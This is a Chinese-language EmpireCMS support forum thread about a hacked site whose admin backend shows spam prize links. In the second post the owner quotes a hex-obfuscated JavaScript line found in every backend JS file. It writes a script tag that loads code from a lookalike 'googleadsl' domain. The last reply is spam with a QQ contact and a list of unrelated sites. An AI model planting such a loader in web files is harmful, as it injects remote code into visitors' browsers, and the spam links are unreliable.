[求助]帝国系统被挂马，请求官方给解决一下帝国cms

帝国论坛 → 帝国网站管理系统交流区 → 帝国CMS使用交流 → [求助]帝国系统被挂马，请求官方给解决一下

【本版专题贴子】

wsany
用户头衔：秀才

精华贴   ：0
发贴数   ：23
经验值   ：351
注册时间：2005-09-29

信息

搜索

好友

发送悄悄话

【精益求精－帝国网站管理系统7.5正式版开源发布】 [第 1 楼]

[求助]帝国系统被挂马，请求官方给解决一下

登陆后台后中，出现图片这样的QQ中奖链接，但在后台文件中却找不到相应文件。

上传以下图片：

开心淘淘--------http://www.kxtoto.com -----做最好的购物导航网站！

2016-04-07 21:21:02

已设置保密

顶部

引用

报告

编辑

删除

wsany
用户头衔：秀才

精华贴   ：0
发贴数   ：23
经验值   ：351
注册时间：2005-09-29

信息

搜索

好友

发送悄悄话

【免费开源－EBMA系统：更安全的MYSQL管理和备份系统】 [第 2 楼]

后台每个JS文件里都有这段代码：
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

[该贴被修改 1 次，最后修改时间 2016-04-07 21:59:55 ]

开心淘淘--------http://www.kxtoto.com -----做最好的购物导航网站！

2016-04-07 21:59:37

已设置保密

顶部

引用

报告

编辑

删除

火种
用户头衔：秀才

精华贴   ：0
发贴数   ：131
经验值   ：382
注册时间：2008-12-09

信息

搜索

好友

发送悄悄话

【精益求精－帝国网站管理系统7.5正式版开源发布】 [第 3 楼]

服务器中毒了吧

2016-04-07 22:23:54

已设置保密

顶部

引用

报告

编辑

删除

pingpong
用户头衔：探花

精华贴   ：0
发贴数   ：9328
经验值   ：24281
注册时间：2008-11-02

信息

搜索

好友

发送悄悄话

【免费开源－EBMA系统：更安全的MYSQL管理和备份系统】 [第 4 楼]

都能批量替换文件内容，说明已经有服务器权限，检查服务器安全，然后找出木马清除掉。如果服务器都被端了，网站系统再安全也没有用

2016-04-08 07:54:39

已设置保密

顶部

引用

报告

编辑

删除

wangxi0668
用户头衔：探花

精华贴   ：0
发贴数   ：1901
经验值   ：6811
注册时间：2009-05-24

信息

搜索

好友

发送悄悄话

【精益求精－帝国网站管理系统7.5正式版开源发布】 [第 5 楼]

联系QQ：52440488 为你解决，我也是给这样的问题困扰了很久！

QQ:52440488 http://www.918hezu.com www.fjjxc.com
www.189288.com www.gz-bestally.com www.oemfy.com www.xcdnpx.com www.dewlis.com www.oemdg.com www.oemgc.com www.xcwxpx.com www.023gree.com www.ystdzkj.com
http://www.189286.com www.oemdg.com

2018-09-14 08:15:27

已设置保密

顶部

引用

报告

编辑

删除